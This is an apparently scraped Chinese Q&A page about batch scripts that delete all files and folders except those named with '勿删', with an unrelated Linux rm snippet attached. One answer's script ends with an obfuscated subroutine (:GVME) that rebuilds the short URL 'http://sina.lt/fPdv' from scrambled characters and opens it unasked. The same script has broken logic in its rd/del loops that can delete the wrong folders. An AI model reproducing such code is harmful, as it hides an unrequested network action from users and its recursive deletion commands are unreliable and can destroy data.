批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?相关的知识,希望对你有一定的参考价值。

pushd "d:\AAA"
for /f "delims=" %%A in ('dir /b /ad-h') do (if /I not "%%A"=="A(勿删)" (if /I not "%%A"=="B(勿删)" (if /I not "%%A"=="C" (rmdir /s /q "%%A"))))
for /f "delims=" %%A in ('dir /b /a-d-h') do (del "%%A" /f /q)
exit
现在是排除3个指定的文件夹不删除,其他删除,如果要达到判断只要带“勿删”字样的文件夹就不删除,该怎么写?

@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶

cd /d "%%~dp0"


::设置要处理的主目录路径

set ScrFolder=D:\\AAA


::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来

set SkipStr=勿删


cd /d "%ScrFolder%"

for /f "delims=" %%a in ('dir /ad-h') do (

    for %%i in (%SkipStr%) do (

        echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"

    )

)

for /f "delims=" %%a in ('dir /a-d-h') do (

    del /f /q "%%~a"

)

pause


call :GVME

exit


:GVME

set "S1=.:ailnhpst/"

set "S0=fPdv"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。

参考技术A for /f "delims=" %%a in ('dir /b /ad-h^|find /v "勿删"') do rd /s /q "%%a"本回答被提问者采纳

rm排除指定文件或指定文件夹下文件

3、方法3,当前文件夹中结合使用grep和xargs来处理文件名:
ls | grep -v keep | xargs rm #删除keep文件之外的所有文件
说明: ls先得到当前的所有文件和文件夹的名字, grep -v keep,进行grep正则匹配查找keep,-v参数决定了结果为匹配之外的结果,也就是的到了keep之外的所有文件名,然后 xargs用于从 标准输入获得参数 并且传递给后面的命令,这里使用的命令是 rm,然后由rm删除前面选择的文件。
好处:使用了grep来正则表达式来匹配文件名字,可以一次保留多个文件,从而进行更加准确的处理。
 
4、方法4,使用find命令代替ls,改进方法3从而能够处理制定文件夹的文件:
find ./test/ | grep -v keep | xargs rm #删除当前test文件夹中keep文件之外的所有文件
说明,用grep而不用find -name选取名字,因为find选取名字时比较麻烦,对正则表达式支持不够,无法排除指定文件名。
 

以上是关于批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?的主要内容,如果未能解决你的问题,请参考以下文章

Robocopy:不删除包含排除文件的文件夹

从war文件中排除所有不必要的jar

您如何在 Subversion 下包含/排除某种类型的文件?

linux怎么将一个目录下除了某个文件外的文件都删除

用bat批处理程序通过DOS命令行删除所有的空文件夹

删除当前文件夹内所有的文件,用BAT命令怎么写?